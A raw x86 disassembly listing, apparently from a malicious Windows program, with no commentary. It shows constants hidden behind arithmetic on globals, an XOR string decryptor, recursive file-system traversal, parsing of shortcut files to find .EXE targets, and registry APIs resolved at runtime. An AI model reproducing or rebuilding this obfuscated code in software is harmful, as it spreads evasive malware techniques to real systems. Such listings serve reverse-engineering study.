mov eax, dword_44A1B0
add eax, 95h
movsx edx, word_44A150
add eax, edx
cmp [ebp+arg_24], eax
jnz loc_43BD8B
loc_43BB2B: ; CODE XREF: sub_43BA75+98j
movsx eax, word_44A1C0
add eax, 30D3Ch
cmp [ebp+arg_24], eax
ja loc_43BD8B
lea eax, [ebp+arg_18]
push eax
lea eax, [ebp+arg_8]
push eax
call ds:dword_449780 ; CompareFileTime
mov [ebp+var_260], eax
mov eax, dword_44A23C
add eax, dword_44A1BC
sub eax, 0Eh
cmp [ebp+var_260], eax
jge short loc_43BB77
lea edi, [ebp+var_268]
lea esi, [ebp+arg_18]
movsd
movsd
jmp short loc_43BB82
; ---------------------------------------------------------------------------
loc_43BB77: ; CODE XREF: sub_43BA75+F3j
lea edi, [ebp+var_268]
lea esi, [ebp+arg_8]
movsd
movsd
loc_43BB82: ; CODE XREF: sub_43BA75+100j
lea eax, [ebp+var_258]
push eax
lea eax, [ebp+var_268]
push eax
call ds:dword_449778 ; FileTimeToSystemTime
movzx eax, [ebp+var_24E]
movzx edx, [ebp+var_250]
movsx ecx, word_44A174
add ecx, 35h
imul edx, ecx
add eax, edx
movzx edx, [ebp+var_252]
movsx ecx, word_44A1A4
movsx esi, word_44A124
lea ecx, [ecx+esi+0Bh]
imul edx, ecx
mov ecx, dword_44A154
add ecx, 35h
imul edx, ecx
add eax, edx
movzx edx, [ebp+var_256]
mov ecx, dword_44A268
add ecx, 1Ah
imul edx, ecx
mov ecx, dword_44A140
add ecx, 6
add ecx, dword_44A26C
imul edx, ecx
movsx ecx, word_44A0D8
mov esi, dword_44A168
lea ecx, [ecx+esi+3Ah]
imul edx, ecx
add eax, edx
movzx edx, [ebp+var_258]
mov ecx, dword_44A270
add ecx, 8
imul edx, ecx
movsx ecx, word_44A150
add ecx, 16h
imul edx, ecx
mov ecx, dword_44A0C8
add ecx, 0Fh
add ecx, dword_44A194
imul edx, ecx
mov ecx, dword_44A10C
add ecx, 33h
add ecx, dword_44A1A0
imul edx, ecx
add eax, edx
mov [ebp+var_25C], eax
mov edx, ds:dword_444024
cmp eax, edx
ja loc_43BD8B
sub edx, eax
movsx eax, word_44A27C
mov ecx, dword_44A128
lea eax, [eax+ecx+7]
cmp edx, eax
jnb loc_43BD8B
movsx eax, word_44A264
add eax, 9Bh
cmp [ebp+arg_24], eax
jz short loc_43BCB0
push 0
push [ebp+arg_0]
call sub_43AF47
add esp, 8
jmp loc_43BD8B
; ---------------------------------------------------------------------------
loc_43BCB0: ; CODE XREF: sub_43BA75+227j
push 1
push [ebp+arg_0]
call sub_43AF47
add esp, 8
jmp loc_43BD8B
; ---------------------------------------------------------------------------
loc_43BCC2: ; CODE XREF: sub_43BA75+68j
cmp [ebp+var_112], 2Eh
jz loc_43BD87
push offset word_44B246
call sub_43C507
lea edi, [ebp+var_112]
push edi
push [ebp+arg_0]
push eax
lea edi, [ebp+var_242]
push edi
call ds:dword_449634
lea esi, [ebp+var_13E]
sub esp, 140h
mov edi, esp
mov ecx, 9Fh
rep movsw
lea edi, [ebp+var_242]
push edi
call sub_43BA75
add esp, 158h
jmp short loc_43BD87
; ---------------------------------------------------------------------------
loc_43BD1B: ; CODE XREF: sub_43BA75+314j
lea eax, [ebp+var_13E]
push eax
push [ebp+var_248]
call ds:dword_445004 ; FindNextFileA
mov ebx, eax
or ebx, ebx
jz short loc_43BD8B
cmp [ebp+var_112], 2Eh
jz short loc_43BD87
push offset byte_44B23D
call sub_43C507
lea edi, [ebp+var_112]
push edi
push [ebp+arg_0]
push eax
lea edi, [ebp+var_242]
push edi
call ds:dword_449634
lea esi, [ebp+var_13E]
sub esp, 140h
mov edi, esp
mov ecx, 9Fh
rep movsw
lea edi, [ebp+var_242]
push edi
call sub_43BA75
add esp, 158h
loc_43BD87: ; CODE XREF: sub_43BA75+254j
; sub_43BA75+2A4j ...
or ebx, ebx
jnz short loc_43BD1B
loc_43BD8B: ; CODE XREF: sub_43BA75+7Bj
; sub_43BA75+B0j ...
pop edi
pop esi
pop ebx
leave
retn
sub_43BA75 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43BD90 proc near ; CODE XREF: sub_43D357+190p
var_12110 = byte ptr -12110h
var_1210C = word ptr -1210Ch
var_1210A = word ptr -1210Ah
var_12108 = dword ptr -12108h
var_12104 = byte ptr -12104h
var_12000 = word ptr -12000h
var_11FFE = byte ptr -11FFEh
var_1FFF = byte ptr -1FFFh
var_1FB3 = byte ptr -1FB3h
var_1FB2 = byte ptr -1FB2h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 12110h
call sub_442F6C
push ebx
push esi
push edi
push [ebp+arg_0]
lea eax, [ebp+var_12104]
push eax
call sub_442F8C
lea ecx, [ebp+var_12104]
or eax, 0FFFFFFFFh
loc_43BDB8: ; CODE XREF: sub_43BD90+2Dj
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_43BDB8
movsx ebx, word_44A240
movsx edx, word_44A1C0
add ebx, edx
sub ebx, 5
mov esi, eax
sub esi, ebx
movsx ebx, word_44A0FC
movsx edx, word_44A160
add ebx, edx
sub ebx, 7
mov [ebp+esi+var_12104], bl
push 0
mov eax, dword_44A1E8
add eax, dword_44A0B8
sub eax, 4
push eax
push 3
push 0
mov eax, dword_44A0A0
movsx edx, word_44A1B4
add eax, edx
sub eax, 8
push eax
push 80000001h
lea eax, [ebp+var_12104]
push eax
call ds:dword_449788 ; CreateFileA
mov edi, eax
cmp edi, 0FFFFFFFFh
jz loc_43C066
push 0
lea eax, [ebp+var_12110]
push eax
push 1FFFh
lea eax, [ebp+var_1FFF]
push eax
push edi
call ds:dword_444028 ; ReadFile
mov [ebp+var_12108], eax
push edi
call ds:dword_448654 ; CloseHandle
mov eax, dword_44A1D0
sub eax, 7
cmp [ebp+var_12108], eax
jz loc_43C066
cmp [ebp+var_1FFF], 4Ch
jnz loc_43C066
movzx esi, [ebp+var_1FB3]
movzx ebx, [ebp+var_1FB2]
movzx ebx, bx
shl ebx, 8
or esi, ebx
mov [ebp+var_1210A], si
movzx eax, [ebp+var_1210A]
movsx edx, word_44A264
mov ecx, dword_44A1E4
lea edx, [edx+ecx+3Fh]
add eax, edx
movsx edx, word_44A150
add edx, dword_44A10C
sub edx, 0Ch
add eax, edx
mov [ebp+var_12000], ax
movzx eax, [ebp+var_12000]
movsx eax, [ebp+eax+var_1FFF]
mov edx, dword_44A26C
sub edx, 9
cmp eax, edx
jz loc_43C066
movzx eax, [ebp+var_12000]
movsx edx, word_44A0BC
dec edx
add eax, edx
movsx eax, [ebp+eax+var_1FFF]
mov edx, dword_44A13C
sub edx, 2
cmp eax, edx
jnz loc_43C066
movzx eax, [ebp+var_12000]
mov edx, dword_44A268
add edx, 0Ch
mov ecx, eax
add ecx, edx
movzx edx, [ebp+ecx+var_1FFF]
movsx esi, word_44A1FC
lea esi, [eax+esi+0Ch]
movzx esi, [ebp+esi+var_1FFF]
movzx esi, si
shl esi, 8
mov ebx, edx
or ebx, esi
mov esi, ebx
movzx esi, si
mov ebx, eax
add ebx, esi
mov esi, ebx
mov [ebp+var_1210C], si
movzx eax, [ebp+var_1210C]
lea eax, [ebp+eax+var_1FFF]
push eax
lea eax, [ebp+var_11FFE]
push eax
call sub_442F8C
lea ecx, [ebp+var_11FFE]
or eax, 0FFFFFFFFh
loc_43BF87: ; CODE XREF: sub_43BD90+1FCj
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_43BF87
mov edi, eax
movsx eax, word_44A100
add eax, dword_44A228
sub eax, 2
mov edx, edi
sub edx, eax
cmp [ebp+edx+var_11FFE], 2Eh
jnz short loc_43C02B
mov eax, dword_44A0C8
movsx edx, word_44A218
add eax, edx
sub eax, 2
mov edx, edi
sub edx, eax
movsx eax, [ebp+edx+var_11FFE]
push eax
call ds:dword_444030
add esp, 4
cmp eax, 45h
jnz short loc_43C02B
mov esi, dword_44A1E8
movsx ebx, word_44A230
add esi, ebx
sub esi, 5
mov ebx, edi
sub ebx, esi
movsx esi, [ebp+ebx+var_11FFE]
push esi
call ds:dword_444030
add esp, 4
cmp eax, 58h
jnz short loc_43C02B
mov esi, dword_44A158
sub esi, 8
mov ebx, edi
sub ebx, esi
movsx esi, [ebp+ebx+var_11FFE]
push esi
call ds:dword_444030
add esp, 4
cmp eax, 45h
jz short loc_43C02D
loc_43C02B: ; CODE XREF: sub_43BD90+21Cj
; sub_43BD90+248j ...
jmp short loc_43C066
; ---------------------------------------------------------------------------
loc_43C02D: ; CODE XREF: sub_43BD90+299j
push offset dword_44B238
call sub_43C507
push eax
lea edi, [ebp+var_11FFE]
push edi
call ds:dword_444020
mov eax, dword_44A168
movsx edx, word_44A1A4
add eax, edx
sub eax, 7
push eax
lea eax, [ebp+var_11FFE]
push eax
call sub_44029C
add esp, 14h
loc_43C066: ; CODE XREF: sub_43BD90+9Ej
; sub_43BD90+DBj ...
pop edi
pop esi
pop ebx
leave
retn
sub_43BD90 endp
; =============== S U B R O U T I N E =======================================
sub_43C06B proc near ; DATA XREF: .data:0044A388o
mov eax, 80004001h
retn 18h
sub_43C06B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43C073 proc near ; CODE XREF: sub_43855F:loc_438562p
var_252 = byte ptr -252h
var_236 = dword ptr -236h
var_114 = byte ptr -114h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_A = word ptr -0Ah
var_8 = word ptr -8
var_6 = word ptr -6
push ebp
mov ebp, esp
sub esp, 254h
push ebx
push esi
push edi
lea eax, [ebp+var_114]
push eax
mov eax, dword_44A0A0
sub eax, 4
push eax
push 0
push 20h
push 0
call ds:dword_446A44
lea eax, [ebp+var_10]
push eax
call ds:dword_44725C ; GetSystemTime
movzx eax, [ebp+var_6]
movzx edx, [ebp+var_8]
mov ecx, dword_44A274
add ecx, 33h
add ecx, dword_44A1EC
imul edx, ecx
add eax, edx
movzx edx, [ebp+var_A]
mov ecx, dword_44A1AC
add ecx, 0Ch
movsx ebx, word_44A22C
add ecx, ebx
imul edx, ecx
mov ecx, dword_44A0F4
add ecx, 35h
imul edx, ecx
add eax, edx
movzx edx, [ebp+var_E]
mov ecx, dword_44A09C
add ecx, 19h
imul edx, ecx
movsx ecx, word_44A1FC
add ecx, 13h
imul edx, ecx
mov ecx, dword_44A1F8
add ecx, 39h
imul edx, ecx
add eax, edx
movzx edx, [ebp+var_10]
movsx ecx, word_44A104
movsx ebx, word_44A260
lea ecx, [ecx+ebx+2]
imul edx, ecx
mov ecx, dword_44A11C
add ecx, 16h
add ecx, dword_44A090
imul edx, ecx
mov ecx, dword_44A268
add ecx, 0Eh
movsx ebx, word_44A144
add ecx, ebx
imul edx, ecx
mov ecx, dword_44A110
add ecx, 37h
add ecx, dword_44A238
imul edx, ecx
add eax, edx
mov ds:dword_444024, eax
mov eax, dword_44A0E4
sub eax, 8
mov [ebp+var_236], eax
lea esi, [ebp+var_252]
sub esp, 140h
mov edi, esp
mov ecx, 9Fh
rep movsw
lea edi, [ebp+var_114]
push edi
call sub_43BA75
add esp, 144h
pop edi
pop esi
pop ebx
leave
retn
sub_43C073 endp
; =============== S U B R O U T I N E =======================================
sub_43C1A7 proc near ; DATA XREF: .data:0044A360o
mov eax, 80004001h
retn 8
sub_43C1A7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43C1AF proc near ; DATA XREF: .data:0044A39Co
push ebp
mov ebp, esp
push offset dword_446608
call ds:dword_446A3C ; InterlockedIncrement
mov eax, ds:dword_446608
pop ebp
retn 4
sub_43C1AF endp
; =============== S U B R O U T I N E =======================================
sub_43C1C6 proc near ; CODE XREF: sub_43EC0A+2Fp
push edi
push offset dword_44B228
call sub_43C507
pop ecx
push eax
call ds:dword_4465E8 ; GetModuleHandleA
mov dword_44A2B8, eax
test eax, eax
jnz short loc_43C1F9
push offset dword_44B218
call sub_43C507
pop ecx
push eax
call ds:dword_447244 ; LoadLibraryA
mov dword_44A2B8, eax
loc_43C1F9: ; CODE XREF: sub_43C1C6+1Aj
push offset byte_44B207
call sub_43C507
push eax
push dword_44A2B8
call ds:dword_4461F8 ; GetProcAddress
mov ds:dword_4465EC, eax
push offset byte_44B1F3
call sub_43C507
push eax
push dword_44A2B8
call ds:dword_4461F8 ; GetProcAddress
mov ds:dword_44403C, eax
push offset dword_44B1E4
call sub_43C507
push eax
push dword_44A2B8
call ds:dword_4461F8 ; GetProcAddress
mov ds:dword_449618, eax
push offset dword_44B1D4
call sub_43C507
add esp, 10h
push eax
push dword_44A2B8
call ds:dword_4461F8 ; GetProcAddress
mov ds:dword_4465F0, eax
pop edi
retn
sub_43C1C6 endp
; =============== S U B R O U T I N E =======================================
sub_43C26E proc near ; CODE XREF: sub_43EC0A+2Ap
push edi
push offset byte_44B1C5
call sub_43C507
pop ecx
push eax
call ds:dword_4465E8 ; GetModuleHandleA
mov dword_44A2B4, eax
test eax, eax
jnz short loc_43C2A1
push offset asc_44B1B6 ; "\v"
call sub_43C507
pop ecx
push eax
call ds:dword_447244 ; LoadLibraryA
mov dword_44A2B4, eax
loc_43C2A1: ; CODE XREF: sub_43C26E+1Aj
push offset word_44B1A2
call sub_43C507
pop ecx
push eax
push dword_44A2B4
call ds:dword_4461F8 ; GetProcAddress
mov ds:dword_446A44, eax
pop edi
retn
sub_43C26E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43C2C0 proc near ; CODE XREF: sub_43AF47+26Dp
var_54 = byte ptr -54h
var_14 = dword ptr -14h
var_10 = byte ptr -10h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 54h
push ebx
push esi
push edi
mov esi, [ebp+arg_0]
mov eax, [ebp+arg_4]
add eax, 40h
jge short loc_43C2D7
add eax, 3Fh
loc_43C2D7: ; CODE XREF: sub_43C2C0+12j
sar eax, 6
mov edi, eax
shl edi, 6
push edi
call sub_43A0EE
pop ecx
mov [ebp+var_14], eax
mov edi, [ebp+arg_4]
mov edx, dword_44A248
add edx, 3Ch
add edx, dword_44A270
mov eax, edi
add eax, edx
jge short loc_43C304
add eax, 3Fh
loc_43C304: ; CODE XREF: sub_43C2C0+3Fj
sar eax, 6
mov edi, dword_44A288
add edi, 3Ah
mov edx, eax
imul edx, edi
push edx
push [ebp+var_14]
call ds:dword_44402C ; RtlZeroMemory
push [ebp+arg_4]
push esi
push [ebp+var_14]
call ds:dword_448638
add esp, 0Ch
lea eax, [ebp+var_10]
push eax
call sub_442662
mov esi, [ebp+var_14]
mov ebx, dword_44A184
sub ebx, 2
jmp short loc_43C362
; ---------------------------------------------------------------------------
loc_43C346: ; CODE XREF: sub_43C2C0+BCj
push esi
lea eax, [ebp+var_10]
push eax
call sub_442689
mov eax, dword_44A1E8
add eax, 39h
add eax, dword_44A14C
lea esi, [esi+eax]
inc ebx
loc_43C362: ; CODE XREF: sub_43C2C0+84j
mov edi, [ebp+arg_4]
movsx edx, word_44A170
lea eax, [edi+edx+3Eh]
test eax, eax
jge short loc_43C377
add eax, 3Fh
loc_43C377: ; CODE XREF: sub_43C2C0+B2j
sar eax, 6
cmp ebx, eax
jl short loc_43C346
push [ebp+var_14]
call sub_438324
lea eax, [ebp+var_54]
push eax
push [ebp+arg_8]
call sub_439DC4
movsx eax, word_44A0B0
add eax, 9
push eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_54]
push eax
call ds:dword_44964C
add esp, 18h
movsx edi, word_44A144
add edi, dword_44A14C
sub edi, 0Ch
cmp eax, edi
jz short loc_43C3C7
xor eax, eax
inc eax
jmp short loc_43C3C9
; ---------------------------------------------------------------------------
loc_43C3C7: ; CODE XREF: sub_43C2C0+100j
xor eax, eax
loc_43C3C9: ; CODE XREF: sub_43C2C0+105j
pop edi
pop esi
pop ebx
leave
retn
sub_43C2C0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43C3CE proc near ; CODE XREF: sub_43F189+197p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
push ecx
push edi
lea eax, [ebp+var_4]
push eax
push 20019h
mov eax, dword_44A280
movsx edx, word_44A100
add eax, edx
sub eax, 7
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call ds:dword_4465EC ; RegOpenKeyExA
mov edi, eax
or edi, edi
jz short loc_43C404
xor eax, eax
jmp short loc_43C431
; ---------------------------------------------------------------------------
loc_43C404: ; CODE XREF: sub_43C3CE+30j
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_14]
push 0
push [ebp+arg_8]
push [ebp+var_4]
call ds:dword_44403C ; RegQueryValueExA
mov edi, eax
push [ebp+var_4]
call ds:dword_449618 ; RegCloseKey
or edi, edi
jz short loc_43C42E
xor eax, eax
jmp short loc_43C431
; ---------------------------------------------------------------------------
loc_43C42E: ; CODE XREF: sub_43C3CE+5Aj
xor eax, eax
inc eax
loc_43C431: ; CODE XREF: sub_43C3CE+34j
; sub_43C3CE+5Ej
pop edi
leave
retn
sub_43C3CE endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43C434 proc near ; CODE XREF: sub_43858C+DAp
; sub_43858C+510p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov ebx, [ebp+arg_0]
mov esi, [ebp+arg_4]
push ebx
call ds:dword_444000 ; lstrlenW
mov edi, eax
push 0
push 0
movsx eax, word_44A0CC
add eax, 1FF8h
push eax
push esi
push edi
push ebx
mov eax, dword_44A12C
add eax, dword_44A194
sub eax, 11h
push eax
push 0
call ds:dword_44400C ; WideCharToMultiByte
mov eax, dword_44A19C
add eax, dword_44A21C
sub eax, 0Eh
mov [esi+edi], al
mov eax, edi
pop edi
pop esi
pop ebx
pop ebp
retn
sub_43C434 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43C48C proc near ; DATA XREF: .data:off_44A398o
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov esi, [ebp+arg_4]
mov edi, [ebp+arg_8]
push offset dword_44BAC8
push esi
call ds:dword_449648
or eax, eax
jz short loc_43C4B8
mov eax, [ebp+arg_0]
mov [edi], eax
push dword ptr [edi]
mov ebx, [eax]
call dword ptr [ebx+4]
xor eax, eax
jmp short loc_43C500
; ---------------------------------------------------------------------------
loc_43C4B8: ; CODE XREF: sub_43C48C+1Aj
push offset dword_44BA48
push esi
call ds:dword_449648
or eax, eax
jz short loc_43C4D8
mov eax, [ebp+arg_0]
mov [edi], eax
push dword ptr [edi]
mov ebx, [eax]
call dword ptr [ebx+4]
xor eax, eax
jmp short loc_43C500
; ---------------------------------------------------------------------------
loc_43C4D8: ; CODE XREF: sub_43C48C+3Aj
push offset dword_44BA08
push esi
call ds:dword_449648
or eax, eax
jz short loc_43C4F8
mov eax, [ebp+arg_0]
mov [edi], eax
push dword ptr [edi]
mov ebx, [eax]
call dword ptr [ebx+4]
xor eax, eax
jmp short loc_43C500
; ---------------------------------------------------------------------------
loc_43C4F8: ; CODE XREF: sub_43C48C+5Aj
and dword ptr [edi], 0
mov eax, 80004002h
loc_43C500: ; CODE XREF: sub_43C48C+2Aj
; sub_43C48C+4Aj ...
pop edi
pop esi
pop ebx
pop ebp
retn 0Ch
sub_43C48C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43C507 proc near ; CODE XREF: sub_43858C+298p
; sub_43858C+38Bp ...
var_4 = word ptr -4
var_2 = word ptr -2
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, [ebp+arg_0]
cmp dword_44A290, 0
jnz short loc_43C52F
push offset dword_449BC0
call ds:dword_445008 ; InitializeCriticalSection
mov dword_44A290, 1
loc_43C52F: ; CODE XREF: sub_43C507+11j
movsx esi, word_44A1F0
movsx ebx, word_44A0CC
add esi, ebx
sub esi, 7
movzx ebx, byte ptr [edi]
movzx edx, byte ptr [edi+1]
movzx edx, dx
shl edx, 8
or ebx, edx
movzx ebx, bx
add esi, ebx
mov [ebp+var_4], si
movzx eax, [ebp+var_4]
cmp eax, dword_44A0B8
jz short loc_43C5E2
push offset dword_449BC0
call ds:dword_449660 ; RtlEnterCriticalSection
mov eax, dword_44A220
dec eax
mov [ebp+var_2], ax
jmp short loc_43C592
; ---------------------------------------------------------------------------
loc_43C57D: ; CODE XREF: sub_43C507+95j
movzx eax, [ebp+var_2]
add eax, edi
movsx edx, byte ptr [eax]
movsx ecx, byte ptr [edi+2]
xor edx, ecx
mov [eax], dl
inc [ebp+var_2]
loc_43C592: ; CODE XREF: sub_43C507+74j
movzx eax, [ebp+var_2]
movzx edx, [ebp+var_4]
cmp eax, edx
jl short loc_43C57D
movsx eax, word_44A170
sub eax, 2
mov edx, dword_44A0F8
add edx, dword_44A12C
sub edx, 0Fh
mov [edi+eax], dl
mov eax, dword_44A128
sub eax, 8
mov edx, dword_44A25C
movsx ecx, word_44A1F0
add edx, ecx
sub edx, 0Bh
mov [edi+eax], dl
push offset dword_449BC0
call ds:dword_448650 ; RtlLeaveCriticalSection
loc_43C5E2: ; CODE XREF: sub_43C507+5Dj
lea eax, [edi+3]
pop edi
pop esi
pop ebx
leave
retn
sub_43C507 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43C5EA proc near ; CODE XREF: sub_44006A+Ep
; sub_44006A+1E1p
var_10088 = dword ptr -10088h
var_10084 = dword ptr -10084h
var_10080 = dword ptr -10080h
var_1007C = dword ptr -1007Ch
var_10078 = word ptr -10078h
var_10070 = dword ptr -10070h
var_10068 = dword ptr -10068h
var_10064 = dword ptr -10064h
var_10060 = dword ptr -10060h
var_10059 = byte ptr -10059h
var_10058 = dword ptr -10058h
var_10054 = dword ptr -10054h
var_10050 = dword ptr -10050h
var_1004C = dword ptr -1004Ch
var_10048 = dword ptr -10048h
var_10043 = byte ptr -10043h
var_44 = dword ptr -44h
var_40 = word ptr -40h
var_38 = dword ptr -38h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = word ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
mov eax, 10088h
call sub_442F6C
push ebx
push esi
push edi
mov [ebp+var_40], 8
push offset dword_44B194
call sub_43F767
pop ecx
push eax
call ds:dword_444044
mov [ebp+var_38], eax
lea eax, [ebp+var_2C]
push eax
lea esi, [ebp+var_40]
sub esp, 10h
mov edi, esp
mov ecx, 4
rep movsd
mov edi, [ebp+arg_0]
push edi
mov edi, [edi]
call dword ptr [edi+30h]
mov ebx, eax
movsx eax, word_44A0FC
add eax, dword_44A154
sub eax, 0Dh
cmp ebx, eax
jz short loc_43C64E
xor eax, eax
jmp loc_43CC7A
; ---------------------------------------------------------------------------
loc_43C64E: ; CODE XREF: sub_43C5EA+5Bj
lea eax, [ebp+var_24]
push eax
push offset dword_44BA68
mov eax, [ebp+var_2C]
push eax
mov edi, [eax]
call dword ptr ds:0[edi]
mov ebx, eax
movsx eax, word_44A208
add eax, dword_44A14C
sub eax, 0Bh
cmp ebx, eax
jnz loc_43CC6F
lea eax, [ebp+var_28]
push eax
mov eax, [ebp+var_24]
push eax
mov edi, [eax]
call dword ptr [edi+24h]
mov ebx, eax
mov eax, dword_44A090
movsx edx, word_44A170
add eax, edx
sub eax, 5
cmp ebx, eax
jnz loc_43CC66
and [ebp+var_44], 0
movsx eax, word_44A264
sub eax, 9
mov [ebp+var_1C], eax
jmp loc_43CC5A
; ---------------------------------------------------------------------------
loc_43C6BC: ; CODE XREF: sub_43C5EA+676j
mov [ebp+var_18], 2
mov eax, [ebp+var_1C]
mov [ebp+var_10], eax
lea eax, [ebp+var_4]
push eax
lea esi, [ebp+var_18]
sub esp, 10h
mov edi, esp
mov ecx, 4
rep movsd
lea esi, [ebp+var_18]
sub esp, 10h
mov edi, esp
mov ecx, 4
rep movsd
mov edi, [ebp+var_24]
push edi
mov edi, [edi]
call dword ptr [edi+2Ch]
mov ebx, eax
mov eax, dword_44A25C
add eax, dword_44A188
sub eax, 8
cmp ebx, eax
jnz loc_43CC57
and [ebp+var_10048], 0
lea eax, [ebp+var_10048]
push eax
push offset dword_44BA78
mov eax, [ebp+var_4]
push eax
mov edi, [eax]
call dword ptr ds:0[edi]
mov ebx, eax
movsx eax, word_44A0A4
movsx edx, word_44A1C0
add eax, edx
sub eax, 0Ah
cmp ebx, eax
jnz loc_43CC33
cmp [ebp+var_10048], 0
jz loc_43CC33
lea eax, [ebp+var_20]
push eax
mov eax, [ebp+var_10048]
push eax
mov edi, [eax]
call dword ptr [edi+0F8h]
mov ebx, eax
or ebx, ebx
jnz loc_43CC33
lea eax, [ebp+var_10043]
push eax
push [ebp+var_20]
call sub_43C434
mov eax, dword_44A288
sub eax, 5
push eax
push offset dword_447230
lea eax, [ebp+var_10043]
push eax
call sub_4384B5
add esp, 14h
mov edi, dword_44A280
add edi, 0FFFBh
cmp eax, edi
jz loc_43CC33
cmp [ebp+arg_4], 0
jz short loc_43C7D5
mov eax, [ebp+var_10048]
push eax
mov esi, [eax]
call dword ptr [esi+8]
mov eax, [ebp+var_4]
push eax
mov esi, [eax]
call dword ptr [esi+8]
xor eax, eax
inc eax
jmp loc_43CC7A
; ---------------------------------------------------------------------------
loc_43C7D5: ; CODE XREF: sub_43C5EA+1CCj
and [ebp+var_1007C], 0
lea eax, [ebp+var_1007C]
push eax
push offset dword_44BA98
mov eax, [ebp+var_4]
push eax
mov edi, [eax]
call dword ptr ds:0[edi]
mov ebx, eax
mov eax, dword_44A184
movsx edx, word_44A240
add eax, edx
sub eax, 4
cmp ebx, eax
jnz loc_43CC33
mov [ebp+var_10059], 44h
push offset byte_44B18B
call sub_43C507
movsx edi, word_44A0D8
dec edi
push edi
push eax
lea edi, [ebp+var_10043]
push edi
call sub_4384B5
add esp, 10h
movsx esi, word_44A0CC
add esi, 0FFF8h
cmp eax, esi
jz short loc_43C852
mov [ebp+var_10059], 43h
loc_43C852: ; CODE XREF: sub_43C5EA+25Fj
push offset byte_44B183
call sub_43C507
movsx edi, word_44A1FC
sub edi, 4
push edi
push eax
lea edi, [ebp+var_10043]
push edi
call sub_4384B5
add esp, 10h
mov esi, dword_44A0DC
inc esi
mov edi, eax
add edi, esi
mov [ebp+var_10068], edi
mov [ebp+var_10054], edi
loc_43C88E: ; CODE XREF: sub_43C5EA+2BAj
mov eax, [ebp+var_10054]
cmp [ebp+eax+var_10043], 26h
jz short loc_43C8A6
inc [ebp+var_10054]
jmp short loc_43C88E
; ---------------------------------------------------------------------------
loc_43C8A6: ; CODE XREF: sub_43C5EA+2B2j
mov eax, [ebp+var_10054]
movsx edx, word_44A150
movsx ecx, word_44A1F0
add edx, ecx
sub edx, 0Bh
mov [ebp+eax+var_10043], dl
mov eax, [ebp+var_10068]
lea eax, [ebp+eax+var_10043]
push eax
call ds:dword_444054
mov [ebp+var_10080], eax
push offset dword_44B17C
call sub_43C507
movsx edi, word_44A22C
movsx esi, word_44A260
add edi, esi
sub edi, 8
push edi
push eax
lea edi, [ebp+var_10043]
push edi
call sub_4384B5
add esp, 14h
mov esi, dword_44A214
sub esi, 6
mov edi, eax
add edi, esi
mov [ebp+var_10068], edi
mov [ebp+var_10054], edi
loc_43C927: ; CODE XREF: sub_43C5EA+353j
mov eax, [ebp+var_10054]
cmp [ebp+eax+var_10043], 26h
jz short loc_43C93F
inc [ebp+var_10054]
jmp short loc_43C927
; ---------------------------------------------------------------------------
loc_43C93F: ; CODE XREF: sub_43C5EA+34Bj
mov eax, [ebp+var_10054]
mov edx, dword_44A238
mov [ebp+eax+var_10043], dl
mov eax, [ebp+var_10068]
lea eax, [ebp+eax+var_10043]
push eax
call ds:dword_444054
pop ecx
mov [ebp+var_10060], eax
movsx eax, word_44A118
sub eax, 3
cmp [ebp+var_10080], eax
ja short loc_43C9EC
movsx eax, word_44A22C
add eax, dword_44A26C
sub eax, 10h
mov [ebp+var_1004C], eax
jmp short loc_43C9D8
; ---------------------------------------------------------------------------
loc_43C997: ; CODE XREF: sub_43C5EA+400j
mov edi, [ebp+var_1004C]
mov esi, edi
shl esi, 2
cmp ds:dword_445130[esi], 0
jz short loc_43C9D2
mov edx, [ebp+var_10060]
cmp ds:dword_444060[esi], edx
jnz short loc_43C9D2
mov dl, ds:byte_446200[edi]
cmp dl, [ebp+var_10059]
jnz short loc_43C9D2
and ds:dword_445130[edi*4], 0
loc_43C9D2: ; CODE XREF: sub_43C5EA+3C0j
; sub_43C5EA+3CFj ...
inc [ebp+var_1004C]
loc_43C9D8: ; CODE XREF: sub_43C5EA+3ABj
movsx eax, word_44A178
add eax, 3E4h
cmp [ebp+var_1004C], eax
jb short loc_43C997
loc_43C9EC: ; CODE XREF: sub_43C5EA+393j
call ds:dword_449770 ; GetTickCount
mov [ebp+var_10064], eax
mov eax, dword_44A280
sub eax, 4
mov [ebp+var_10050], eax
jmp short loc_43CA59
; ---------------------------------------------------------------------------
loc_43CA08: ; CODE XREF: sub_43C5EA+47Fj
mov edi, [ebp+var_10050]
shl edi, 2
cmp ds:dword_445130[edi], 0
jz short loc_43CA53
mov edi, ds:dword_448660[edi]
movsx esi, word_44A104
add esi, 0EA58h
mov edx, dword_44A134
sub edx, 3
